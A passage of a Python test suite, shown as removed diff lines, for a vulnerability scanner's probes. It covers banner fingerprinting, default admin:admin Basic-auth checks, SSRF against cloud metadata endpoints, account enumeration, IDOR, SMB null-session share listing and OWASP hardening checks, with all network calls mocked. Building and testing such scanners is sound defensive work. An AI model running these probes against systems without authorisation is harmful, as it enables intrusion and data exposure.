FTP\r\n")) - self.assertTrue(worker._is_ftp_banner(b"220-ProFTPD 1.3.5\r\n")) - self.assertFalse(worker._is_ftp_banner(b"SSH-2.0-OpenSSH\r\n")) - - def test_generic_fingerprint_mysql(self): - """MySQL handshake packet is recognized.""" - _, worker = self._build_worker() - # MySQL v10 handshake: 3-byte length + 1-byte seq + 0x0a + version string - handshake = b'\x4a\x00\x00\x00\x0a5.5.23\x00' + b'\x00' * 40 - self.assertTrue(worker._is_mysql_handshake(handshake)) - self.assertFalse(worker._is_mysql_handshake(b"HTTP/1.1 200 OK")) - - def test_generic_fingerprint_smtp(self): - """SMTP banner is recognized.""" - _, worker = self._build_worker() - self.assertTrue(worker._is_smtp_banner(b"220 mail.example.com ESMTP Postfix\r\n")) - self.assertFalse(worker._is_smtp_banner(b"220 ProFTPD 1.3\r\n")) - - def test_generic_fingerprint_rsync(self): - """Rsync banner is recognized.""" - _, worker = self._build_worker() - self.assertTrue(worker._is_rsync_banner(b"@RSYNCD: 31.0\n")) - self.assertFalse(worker._is_rsync_banner(b"+OK Dovecot ready\r\n")) - - def test_generic_fingerprint_telnet(self): - """Telnet IAC sequence is recognized.""" - _, worker = self._build_worker() - self.assertTrue(worker._is_telnet_banner(b"\xFF\xFB\x01\xFF\xFB\x03")) - self.assertFalse(worker._is_telnet_banner(b"HTTP/1.0 200")) - - def test_generic_reclassifies_port_protocol(self): - """When a protocol is fingerprinted, port_protocols is updated.""" - _, worker = self._build_worker(ports=[993]) - worker.state["port_protocols"] = {993: "unknown"} - # Simulate Redis banner on port 993 - redis_banner = b"+PONG\r\n" - # Mock the Redis probe to avoid real connection - mock_result = {"findings": [], "vulnerabilities": []} - with patch.object(worker, '_service_info_redis', return_value=mock_result): - result = worker._generic_fingerprint_protocol(redis_banner, "10.0.0.1", 993) - self.assertEqual(worker.state["port_protocols"][993], "redis") - self.assertIsNotNone(result) - - # ---- 17a-5: ES IP classification + JVM ---- - - def test_es_nodes_public_ip_critical(self): - """Public IP from _nodes endpoint is flagged CRITICAL.""" - _, worker = self._build_worker(ports=[9200]) - worker.state["scan_metadata"] = {"internal_ips": []} - raw = {} - mock_resp = MagicMock() - mock_resp.ok = True - mock_resp.json.return_value = { - "nodes": { - "n1": { - "host": "34.51.200.39", - "jvm": {"version": "1.7.0_55"}, - } - } - } - with patch('requests.get', return_value=mock_resp): - findings = worker._es_check_nodes("http://10.0.0.1:9200", raw) - titles = [f.title for f in findings] - severities = [f.severity for f in findings] - # Public IP should be CRITICAL - self.assertTrue(any("public ip" in t.lower() for t in titles), f"Expected public IP finding, got: {titles}") - self.assertIn("CRITICAL", severities) - # JVM EOL - self.assertTrue(any("eol jvm" in t.lower() for t in titles), f"Expected EOL JVM finding, got: {titles}") - self.assertEqual(raw.get("jvm_version"), "1.7.0_55") - - def test_es_nodes_private_ip_medium(self): - """Private IP from _nodes endpoint is flagged MEDIUM (not CRITICAL).""" - _, worker = self._build_worker(ports=[9200]) - worker.state["scan_metadata"] = {"internal_ips": []} - raw = {} - mock_resp = MagicMock() - mock_resp.ok = True - mock_resp.json.return_value = { - "nodes": {"n1": {"host": "192.168.1.100"}} - } - with patch('requests.get', return_value=mock_resp): - findings = worker._es_check_nodes("http://10.0.0.1:9200", raw) - severities = [f.severity for f in findings] - self.assertIn("MEDIUM", severities) - self.assertNotIn("CRITICAL", severities) - - def test_es_nodes_jvm_modern_no_finding(self): - """Modern JVM (Java 17+) should not produce an EOL finding.""" - _, worker = self._build_worker(ports=[9200]) - worker.state["scan_metadata"] = {"internal_ips": []} - raw = {} - mock_resp = MagicMock() - mock_resp.ok = True - mock_resp.json.return_value = { - "nodes": {"n1": {"host": "10.0.0.5", "jvm": {"version": "17.0.5"}}} - } - with patch('requests.get', return_value=mock_resp): - findings = worker._es_check_nodes("http://10.0.0.1:9200", raw) - titles = [f.title for f in findings] - self.assertFalse(any("EOL JVM" in t for t in titles)) - - -class TestPhase17bMediumFeatures(unittest.TestCase): - """Phase 17b: Medium feature probe enhancements.""" - - def _build_worker(self, ports=None): - if ports is None: - ports = [80] - owner = DummyOwner() - worker = PentestLocalWorker( - owner=owner, - target="example.com", - job_id="job-17b", - initiator="init@example", - local_id_prefix="M", - worker_target_ports=ports, - ) - worker.stop_event = MagicMock() - worker.stop_event.is_set.return_value = False - return owner, worker - - # ---- 17b-2: HTTP Basic Auth ---- - - def test_http_basic_auth_detects_default_creds(self): - """Default admin:admin credential flagged when accepted.""" - _, worker = self._build_worker(ports=[80]) - - def mock_get(url, **kwargs): - resp = MagicMock() - auth = kwargs.get("auth") - if auth is None: - # Initial probe — return 401 with Basic auth - resp.status_code = 401 - resp.headers = {"WWW-Authenticate": 'Basic realm="test"'} - elif auth == ("admin", "admin"): - resp.status_code = 200 - resp.headers = {} - else: - resp.status_code = 401 - resp.headers = {} - return resp - - with patch('requests.get', side_effect=mock_get): - result = worker._service_info_http_basic_auth("10.0.0.1", 80) - self.assertIsNotNone(result) - titles = [f["title"] for f in result.get("findings", [])] - self.assertTrue(any("default credential" in t.lower() for t in titles), f"titles={titles}") - - def test_http_basic_auth_skips_non_basic(self): - """Probe returns None when no Basic auth is present.""" - _, worker = self._build_worker(ports=[80]) - mock_resp = MagicMock() - mock_resp.status_code = 200 - mock_resp.headers = {} - with patch('requests.get', return_value=mock_resp): - result = worker._service_info_http_basic_auth("10.0.0.1", 80) - self.assertIsNone(result) - - def test_http_basic_auth_no_rate_limiting(self): - """Flags missing rate limiting when all attempts return 401.""" - _, worker = self._build_worker(ports=[80]) - call_count = [0] - - def mock_get(url, **kwargs): - resp = MagicMock() - call_count[0] += 1 - resp.status_code = 401 - resp.headers = {"WWW-Authenticate": 'Basic realm="test"'} - return resp - - with patch('requests.get', side_effect=mock_get): - result = worker._service_info_http_basic_auth("10.0.0.1", 80) - self.assertIsNotNone(result) - titles = [f["title"] for f in result.get("findings", [])] - self.assertTrue(any("rate limiting" in t.lower() for t in titles), f"titles={titles}") - - # ---- 17b-3: CSRF detection ---- - - def test_csrf_detects_missing_token(self): - """POST form without CSRF hidden field is flagged.""" - _, worker = self._build_worker(ports=[80]) - html = '
' - mock_resp = MagicMock() - mock_resp.status_code = 200 - mock_resp.text = html - mock_resp.headers = {} - with patch('requests.get', return_value=mock_resp): - result = worker._web_test_csrf("10.0.0.1", 80) - titles = [f["title"] for f in result.get("findings", [])] - self.assertTrue(any("csrf" in t.lower() for t in titles), f"titles={titles}") - - def test_csrf_passes_with_token(self): - """POST form with csrf_token field passes.""" - _, worker = self._build_worker(ports=[80]) - html = '
' - mock_resp = MagicMock() - mock_resp.status_code = 200 - mock_resp.text = html - mock_resp.headers = {} - with patch('requests.get', return_value=mock_resp): - result = worker._web_test_csrf("10.0.0.1", 80) - findings = result.get("findings", []) - csrf_findings = [f for f in findings if "csrf" in f.get("title", "").lower()] - self.assertEqual(len(csrf_findings), 0) - - def test_csrf_passes_with_header_token(self): - """SPA-style X-CSRF-Token header causes skip.""" - _, worker = self._build_worker(ports=[80]) - html = '
' - mock_resp = MagicMock() - mock_resp.status_code = 200 - mock_resp.text = html - mock_resp.headers = {"x-csrf-token": "abc123"} - with patch('requests.get', return_value=mock_resp): - result = worker._web_test_csrf("10.0.0.1", 80) - findings = result.get("findings", []) - csrf_findings = [f for f in findings if "csrf" in f.get("title", "").lower()] - self.assertEqual(len(csrf_findings), 0) - - # ---- 17b-4: SNMP MIB walk ---- - - def test_snmp_getnext_packet_valid(self): - """GETNEXT packet is well-formed ASN.1.""" - _, worker = self._build_worker() - pkt = worker._snmp_build_getnext("public", "1.3.6.1.2.1.1.0") - # First byte is 0x30 (SEQUENCE) - self.assertEqual(pkt[0], 0x30) - # Community string "public" should be embedded - self.assertIn(b"public", pkt) - - def test_snmp_encode_oid_basic(self): - """OID encoding for well-known system MIB OID.""" - _, worker2 = self._build_worker() - encoded = worker2._snmp_encode_oid("1.3.6.1.2.1.1.1.0") - # First byte: 40*1 + 3 = 43 = 0x2B - self.assertEqual(encoded[0], 0x2B) - - def test_snmp_encode_oid_large_value(self): - """OID encoding handles values >= 128.""" - _, worker = self._build_worker() - encoded = worker._snmp_encode_oid("1.3.6.1.2.1.4.20.1.1") - self.assertEqual(encoded[0], 0x2B) # 40*1 + 3 - - def test_snmp_parse_response_valid(self): - """Parse a well-formed SNMP response.""" - # Build a valid SNMP response manually - _, worker = self._build_worker() - # Construct minimal SNMP response with OID 1.3.6.1.2.1.1.1.0 and value "Linux" - oid_body = worker._snmp_encode_oid("1.3.6.1.2.1.1.1.0") - oid_tlv = bytes([0x06, len(oid_body)]) + oid_body - value = b"Linux" - val_tlv = bytes([0x04, len(value)]) + value - varbind = bytes([0x30, len(oid_tlv) + len(val_tlv)]) + oid_tlv + val_tlv - varbind_seq = bytes([0x30, len(varbind)]) + varbind - req_id = b"\x02\x01\x01" - err_status = b"\x02\x01\x00" - err_index = b"\x02\x01\x00" - pdu_body = req_id + err_status + err_index + varbind_seq - pdu = bytes([0xA2, len(pdu_body)]) + pdu_body - version = b"\x02\x01\x00" - comm = bytes([0x04, 0x06]) + b"public" - inner = version + comm + pdu - packet = bytes([0x30, len(inner)]) + inner - - oid_str, val_str = worker._snmp_parse_response(packet) - self.assertEqual(oid_str, "1.3.6.1.2.1.1.1.0") - self.assertEqual(val_str, "Linux") - - def test_snmp_ics_detection(self): - """ICS keywords in sysDescr trigger detection.""" - _, worker = self._build_worker() - self.assertTrue(worker._is_ics_indicator("Siemens SIMATIC S7-300")) - self.assertTrue(worker._is_ics_indicator("Schneider Electric Modicon M340")) - self.assertFalse(worker._is_ics_indicator("Linux 5.15.0-generic")) - - # ---- 17b-5: CMS fingerprinting ---- - - def test_cms_detects_wordpress(self): - """WordPress detected via generator meta tag.""" - _, worker = self._build_worker(ports=[80]) - html = '' - mock_resp = MagicMock() - mock_resp.ok = True - mock_resp.status_code = 200 - mock_resp.text = html - with patch('requests.get', return_value=mock_resp): - result = worker._web_test_cms_fingerprint("10.0.0.1", 80) - titles = [f["title"] for f in result.get("findings", [])] - self.assertTrue(any("WordPress 6.4.2" in t for t in titles), f"titles={titles}") - - def test_cms_detects_drupal_changelog(self): - """Drupal detected via CHANGELOG.txt.""" - _, worker = self._build_worker(ports=[80]) - - def mock_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - if "CHANGELOG" in url: - resp.text = "Drupal 10.2.1 (2024-01-15)" - else: - resp.text = "Hello" - return resp - - with patch('requests.get', side_effect=mock_get): - result = worker._web_test_cms_fingerprint("10.0.0.1", 80) - titles = [f["title"] for f in result.get("findings", [])] - self.assertTrue(any("Drupal 10.2.1" in t for t in titles), f"titles={titles}") - - def test_cms_flags_eol_drupal7(self): - """Drupal 7 flagged as EOL.""" - _, worker = self._build_worker(ports=[80]) - findings = worker._cms_check_eol("Drupal", "7.98") - self.assertTrue(any("end-of-life" in f.title.lower() for f in findings)) - - def test_cms_no_eol_modern_wordpress(self): - """WordPress 6.x not flagged as EOL.""" - _, worker = self._build_worker(ports=[80]) - findings = worker._cms_check_eol("WordPress", "6.4.2") - eol_findings = [f for f in findings if "end-of-life" in f.title.lower()] - self.assertEqual(len(eol_findings), 0) - - # ---- 17b-1: SMB share enumeration ---- - - def test_smb_enum_shares_returns_list(self): - """_smb_enum_shares returns empty list on connection failure.""" - _, worker = self._build_worker(ports=[445]) - result = worker._smb_enum_shares("192.0.2.1", 99999) - self.assertIsInstance(result, list) - self.assertEqual(len(result), 0) - - def test_smb_parse_netshareenumall_empty(self): - """Empty stub data returns empty list.""" - _, worker = self._build_worker(ports=[445]) - result = worker._parse_netshareenumall_response(b"") - self.assertEqual(result, []) - - def test_smb_parse_netshareenumall_too_short(self): - """Short stub returns empty list.""" - _, worker = self._build_worker(ports=[445]) - result = worker._parse_netshareenumall_response(b"\x00" * 10) - self.assertEqual(result, []) - - def test_smb_share_wiring_admin_shares_high(self): - """Admin shares found via null session produce HIGH finding.""" - _, worker = self._build_worker(ports=[445]) - mock_shares = [ - {"name": "IPC$", "type": 3, "comment": "IPC Service"}, - {"name": "C$", "type": 0, "comment": "Default share"}, - {"name": "public", "type": 0, "comment": "Public files"}, - ] - with patch.object(worker, '_smb_enum_shares', return_value=mock_shares), \ - patch.object(worker, '_smb_try_null_session', return_value="4.10.0"), \ - patch('socket.socket') as mock_sock_cls: - mock_sock = MagicMock() - mock_sock_cls.return_value = mock_sock - # Return SMBv1 negotiate response - smb_resp = bytearray(128) - smb_resp[0:4] = b"\xffSMB" - smb_resp[4] = 0x72 - smb_resp[32] = 17 # word_count - smb_resp[35] = 0x08 # security_mode (signing required) - mock_sock.recv.side_effect = [ - b"\x00\x00\x00\x80", # NetBIOS header - bytes(smb_resp), # SMB response - ] - result = worker._service_info_smb("10.0.0.1", 445) - titles = [f["title"] for f in result.get("findings", [])] - self.assertTrue(any("admin shares" in t.lower() for t in titles), f"titles={titles}") - - -class TestOWASPFullCoverage(unittest.TestCase): - """Tests for OWASP Top 10 full coverage probes (A04, A08, A09, A10 + re-tags).""" - - def setUp(self): - if MANUAL_RUN: - print() - color_print(f"[MANUAL] >>> Starting <{self._testMethodName}>", color='b') - - def tearDown(self): - if MANUAL_RUN: - color_print(f"[MANUAL] <<< Finished <{self._testMethodName}>", color='b') - - def _build_worker(self, ports=None): - if ports is None: - ports = [80] - owner = DummyOwner() - worker = PentestLocalWorker( - owner=owner, - target="example.com", - job_id="job-owasp", - initiator="init@example", - local_id_prefix="1", - worker_target_ports=ports, - ) - worker.stop_event = MagicMock() - worker.stop_event.is_set.return_value = False - return owner, worker - - # ── Phase 1: Re-tag verification ──────────────────────────────────── - - def test_metadata_endpoints_tagged_a10(self): - """Cloud metadata findings should use owasp_id A10:2021.""" - owner, worker = self._build_worker() - resp = MagicMock() - resp.status_code = 200 - resp.text = "ami-id instance-id" - with patch( - "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_metadata_endpoints("example.com", 80) - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0, "Should detect at least one metadata endpoint") - for f in findings: - self.assertEqual(f["owasp_id"], "A10:2021") - - def test_homepage_private_key_tagged_a08(self): - """Private key in homepage should use owasp_id A08:2021.""" - owner, worker = self._build_worker() - resp = MagicMock() - resp.status_code = 200 - resp.text = "-----BEGIN RSA PRIVATE KEY----- some key data" - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_homepage("example.com", 80) - findings = result.get("findings", []) - pk_findings = [f for f in findings if "private key" in f["title"].lower()] - self.assertTrue(len(pk_findings) > 0, "Should detect private key") - self.assertEqual(pk_findings[0]["owasp_id"], "A08:2021") - - def test_homepage_api_key_still_a01(self): - """API key in homepage should still use A01:2021.""" - owner, worker = self._build_worker() - resp = MagicMock() - resp.status_code = 200 - resp.text = "var API_KEY = 'abc123';" - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_homepage("example.com", 80) - findings = result.get("findings", []) - api_findings = [f for f in findings if "api key" in f["title"].lower()] - self.assertTrue(len(api_findings) > 0) - self.assertEqual(api_findings[0]["owasp_id"], "A01:2021") - - # ── Phase 2: A10 SSRF ────────────────────────────────────────────── - - def test_ssrf_metadata_azure(self): - """Azure IMDS endpoint should be detected.""" - owner, worker = self._build_worker() - - def fake_get(url, timeout=3, verify=False, headers=None): - resp = MagicMock() - if "api-version" in url: - resp.status_code = 200 - resp.text = "hostname" - else: - resp.status_code = 404 - resp.text = "" - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_metadata_endpoints("example.com", 80) - findings = result.get("findings", []) - azure_findings = [f for f in findings if "Azure" in f["title"]] - self.assertTrue(len(azure_findings) > 0, "Should detect Azure IMDS") - self.assertEqual(azure_findings[0]["owasp_id"], "A10:2021") - - def test_ssrf_basic_url_param(self): - """SSRF basic probe should detect metadata in URL parameter response.""" - owner, worker = self._build_worker() - - def fake_get(url, timeout=4, verify=False, headers=None): - resp = MagicMock() - if "url=http" in url: - resp.status_code = 200 - resp.text = "ami-id i-1234567890 instance-id" - else: - resp.status_code = 404 - resp.text = "" - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_ssrf_basic("example.com", 80) - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0, "Should detect SSRF via URL param") - self.assertEqual(findings[0]["owasp_id"], "A10:2021") - self.assertEqual(findings[0]["severity"], "CRITICAL") - - def test_ssrf_basic_no_false_positive(self): - """Normal pages should not trigger SSRF findings.""" - owner, worker = self._build_worker() - resp = MagicMock() - resp.status_code = 200 - resp.text = "Welcome" - with patch( - "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_ssrf_basic("example.com", 80) - self.assertEqual(len(result.get("findings", [])), 0) - - # ── Phase 3: A04 Insecure Design ─────────────────────────────────── - - def test_account_enum_different_responses(self): - """Different error messages for valid/invalid users → enumeration finding.""" - owner, worker = self._build_worker() - call_count = [0] - - def fake_post(url, data=None, timeout=3, verify=False, allow_redirects=False): - resp = MagicMock() - resp.status_code = 200 - call_count[0] += 1 - username = data.get("username", "") if data else "" - if "nonexistent_user_" in username: - resp.text = "Error: user not found" - else: - resp.text = "Error: invalid password" - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", - side_effect=fake_post, - ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", - side_effect=fake_post, - ): - result = worker._web_test_account_enumeration("example.com", 80) - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0, "Should detect account enumeration") - self.assertEqual(findings[0]["owasp_id"], "A04:2021") - - def test_account_enum_same_response(self): - """Identical responses for all users → no enumeration finding.""" - owner, worker = self._build_worker() - - def fake_post(url, data=None, timeout=3, verify=False, allow_redirects=False): - resp = MagicMock() - resp.status_code = 200 - resp.text = "Error: invalid credentials" - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", - side_effect=fake_post, - ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", - side_effect=fake_post, - ): - result = worker._web_test_account_enumeration("example.com", 80) - self.assertEqual(len(result.get("findings", [])), 0) - - def test_rate_limiting_absent(self): - """5 requests all accepted → rate limiting finding.""" - owner, worker = self._build_worker() - - def fake_request(url, *args, **kwargs): - resp = MagicMock() - resp.status_code = 200 - resp.text = "invalid credentials" - resp.headers = {} - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", - side_effect=fake_request, - ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", - side_effect=fake_request, - ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin._time.sleep", - ): - result = worker._web_test_rate_limiting("example.com", 80) - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0, "Should detect missing rate limiting") - self.assertEqual(findings[0]["owasp_id"], "A04:2021") - self.assertIn("CWE-307", findings[0]["cwe_id"]) - - def test_rate_limiting_present(self): - """429 response → no finding.""" - owner, worker = self._build_worker() - call_count = [0] - - def fake_post(url, *args, **kwargs): - resp = MagicMock() - call_count[0] += 1 - resp.text = "" - resp.headers = {} - if call_count[0] >= 3: - resp.status_code = 429 - else: - resp.status_code = 200 - return resp - - def fake_get(url, *args, **kwargs): - resp = MagicMock() - resp.status_code = 200 - resp.text = "" - resp.headers = {} - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", - side_effect=fake_post, - ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", - side_effect=fake_get, - ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin._time.sleep", - ): - result = worker._web_test_rate_limiting("example.com", 80) - self.assertEqual(len(result.get("findings", [])), 0) - - def test_idor_sequential_with_pii(self): - """Sequential IDs with PII in response → MEDIUM finding.""" - owner, worker = self._build_worker() - - def fake_get(url, timeout=3, verify=False): - resp = MagicMock() - if "/api/users/1" in url: - resp.status_code = 200 - resp.text = '{"id": 1, "email": "alice@example.com", "name": "Alice"}' - elif "/api/users/2" in url: - resp.status_code = 200 - resp.text = '{"id": 2, "email": "bob@example.com", "name": "Bob"}' - else: - resp.status_code = 404 - resp.text = "" - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_idor_indicators("example.com", 80) - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0) - self.assertEqual(findings[0]["severity"], "MEDIUM") - self.assertEqual(findings[0]["owasp_id"], "A04:2021") - - def test_idor_auth_required(self): - """401 for all → no finding.""" - owner, worker = self._build_worker() - resp = MagicMock() - resp.status_code = 401 - resp.text = "Unauthorized" - with patch( - "extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_idor_indicators("example.com", 80) - self.assertEqual(len(result.get("findings", [])), 0) - - # ── Phase 4: A08 Integrity ───────────────────────────────────────── - - def test_sri_missing_external_script(self): - """External script without integrity= → MEDIUM finding.""" - owner, worker = self._build_worker() - resp = MagicMock() - resp.status_code = 200 - resp.text = '' - with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_subresource_integrity("example.com", 80) - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0) - self.assertEqual(findings[0]["owasp_id"], "A08:2021") - self.assertIn("SRI", findings[0]["title"]) - - def test_sri_present(self): - """External script with integrity= → no finding.""" - owner, worker = self._build_worker() - resp = MagicMock() - resp.status_code = 200 - resp.text = '' - with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_subresource_integrity("example.com", 80) - self.assertEqual(len(result.get("findings", [])), 0) - - def test_sri_same_origin_ignored(self): - """Same-origin script → no finding regardless of SRI.""" - owner, worker = self._build_worker() - resp = MagicMock() - resp.status_code = 200 - resp.text = '' - with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_subresource_integrity("example.com", 80) - self.assertEqual(len(result.get("findings", [])), 0) - - def test_mixed_content_script(self): - """HTTPS page with HTTP script → HIGH finding.""" - owner, worker = self._build_worker(ports=[443]) - resp = MagicMock() - resp.status_code = 200 - resp.text = '' - with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_mixed_content("example.com", 443) - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0) - self.assertEqual(findings[0]["severity"], "HIGH") - self.assertEqual(findings[0]["owasp_id"], "A08:2021") - - def test_mixed_content_https_only(self): - """All resources over HTTPS → no finding.""" - owner, worker = self._build_worker(ports=[443]) - resp = MagicMock() - resp.status_code = 200 - resp.text = '' - with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_mixed_content("example.com", 443) - self.assertEqual(len(result.get("findings", [])), 0) - - def test_mixed_content_non_https_port_skipped(self): - """Mixed content check only runs on HTTPS ports.""" - owner, worker = self._build_worker(ports=[80]) - result = worker._web_test_mixed_content("example.com", 80) - self.assertEqual(len(result.get("findings", [])), 0) - - def test_js_lib_angularjs_eol(self): - """AngularJS detected → MEDIUM EOL finding.""" - owner, worker = self._build_worker() - resp = MagicMock() - resp.status_code = 200 - resp.text = '' - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_js_library_versions("example.com", 80) - findings = result.get("findings", []) - eol_findings = [f for f in findings if "end-of-life" in f["title"].lower()] - self.assertTrue(len(eol_findings) > 0, "Should flag AngularJS as EOL") - self.assertEqual(eol_findings[0]["owasp_id"], "A08:2021") - - def test_js_lib_version_detected(self): - """jQuery version detected → INFO finding.""" - owner, worker = self._build_worker() - resp = MagicMock() - resp.status_code = 200 - resp.text = '' - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_js_library_versions("example.com", 80) - findings = result.get("findings", []) - jquery_findings = [f for f in findings if "jQuery" in f["title"]] - self.assertTrue(len(jquery_findings) > 0, "Should detect jQuery") - self.assertEqual(jquery_findings[0]["severity"], "INFO") - - # ── Phase 5: A09 Logging/Monitoring ───────────────────────────────── - - def test_verbose_error_python_traceback(self): - """Python traceback in 404 page → MEDIUM finding.""" - owner, worker = self._build_worker() - - def fake_get(url, timeout=3, verify=False, allow_redirects=None): - resp = MagicMock() - resp.status_code = 404 if "nonexistent_" in url else 200 - if "nonexistent_" in url: - resp.text = 'Traceback (most recent call last):\n File "app.py", line 42' - else: - resp.text = "Welcome" - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_verbose_errors("example.com", 80) - findings = result.get("findings", []) - traceback_findings = [f for f in findings if "stack trace" in f["title"].lower()] - self.assertTrue(len(traceback_findings) > 0, "Should detect Python traceback") - self.assertEqual(traceback_findings[0]["owasp_id"], "A09:2021") - - def test_verbose_error_clean_404(self): - """Generic 404 page → no finding.""" - owner, worker = self._build_worker() - - def fake_get(url, timeout=3, verify=False, allow_redirects=None): - resp = MagicMock() - resp.status_code = 404 if "nonexistent_" in url else 200 - resp.text = "Not Found" - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_verbose_errors("example.com", 80) - self.assertEqual(len(result.get("findings", [])), 0) - - def test_debug_mode_django(self): - """Django debug toolbar marker in homepage → HIGH finding.""" - owner, worker = self._build_worker() - - def fake_get(url, timeout=3, verify=False, allow_redirects=None): - resp = MagicMock() - resp.status_code = 200 - if "nonexistent_" in url: - resp.text = "Page Not Found" - elif "__debug__" in url: - resp.status_code = 404 - resp.text = "" - else: - resp.text = '
debug toolbar
' - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_verbose_errors("example.com", 80) - findings = result.get("findings", []) - debug_findings = [f for f in findings if "debug mode" in f["title"].lower()] - self.assertTrue(len(debug_findings) > 0, "Should detect Django debug mode") - self.assertEqual(debug_findings[0]["owasp_id"], "A09:2021") - - def test_debug_endpoint_actuator(self): - """Spring Boot /actuator returning 200 → HIGH finding via _web_test_common.""" - owner, worker = self._build_worker() - - def fake_get(url, timeout=2, verify=False): - resp = MagicMock() - resp.headers = {} - resp.reason = "OK" - if "/actuator" in url: - resp.status_code = 200 - resp.text = '{"_links": {"beans": ...}}' - else: - resp.status_code = 404 - resp.text = "" - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_common("example.com", 80) - findings = result.get("findings", []) - actuator_findings = [f for f in findings if "actuator" in f.get("title", "").lower()] - self.assertTrue(len(actuator_findings) > 0, "Should detect /actuator") - self.assertEqual(actuator_findings[0]["owasp_id"], "A09:2021") - - def test_debug_endpoint_404(self): - """/actuator returning 404 → no finding.""" - owner, worker = self._build_worker() - resp = MagicMock() - resp.status_code = 404 - resp.text = "" - resp.headers = {} - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - return_value=resp, - ): - result = worker._web_test_common("example.com", 80) - findings = result.get("findings", []) - actuator_findings = [f for f in findings if "actuator" in f.get("title", "").lower()] - self.assertEqual(len(actuator_findings), 0) - - def test_correlation_open_redirect_ssrf(self): - """Open redirect + metadata endpoint → correlation finding.""" - owner, worker = self._build_worker() - worker.state["scan_metadata"] = {} - worker.state["web_tests_info"] = { - 80: { - "_web_test_open_redirect": { - "findings": [{"title": "Open redirect via next parameter", "severity": "MEDIUM"}], - }, - "_web_test_metadata_endpoints": { - "findings": [{"title": "Cloud metadata endpoint exposed (AWS EC2)", "severity": "CRITICAL"}], - }, - } - } - worker._post_scan_correlate() - corr = worker.state.get("correlation_findings", []) - redirect_ssrf = [f for f in corr if "redirect" in f["title"].lower() and "ssrf" in f["title"].lower()] - self.assertTrue(len(redirect_ssrf) > 0, "Should produce redirect→SSRF correlation") - - # ── Phase 6: A06 WordPress plugins ────────────────────────────────── - - def test_wp_plugin_version_exposed(self): - """WordPress plugin readme.txt with version → LOW finding.""" - owner, worker = self._build_worker() - - def fake_get(url, timeout=3, verify=False, allow_redirects=False): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - if "readme.txt" in url and "elementor" in url: - resp.text = "=== Elementor ===\nStable tag: 3.18.0\nRequires PHP: 7.4" - elif "readme.txt" in url: - resp.status_code = 404 - resp.ok = False - resp.text = "" - elif "wp-login" in url: - resp.text = "wordpress wp-login" - else: - resp.text = '' - return resp - - with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", - side_effect=fake_get, - ): - result = worker._web_test_cms_fingerprint("example.com", 80) - findings = result.get("findings", []) - plugin_findings = [f for f in findings if "plugin" in f.get("title", "").lower()] - self.assertTrue(len(plugin_findings) > 0, "Should detect Elementor plugin") - self.assertIn("3.18.0", plugin_findings[0]["title"]) - self.assertEqual(plugin_findings[0]["owasp_id"], "A06:2021") - - def test_wp_plugin_not_found(self): - """Plugin readme.txt returning 404 → no plugin finding.""" - owner, worker = self._build_worker() - - def fake_get(url, timeout=3, verify=False, allow_redirects=False): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - if "readme.txt" in url: - resp.status_code = 404 - resp.ok = False - resp.text = "" - elif "wp-login" in url: - resp.text = "wordpress wp-login" - else: 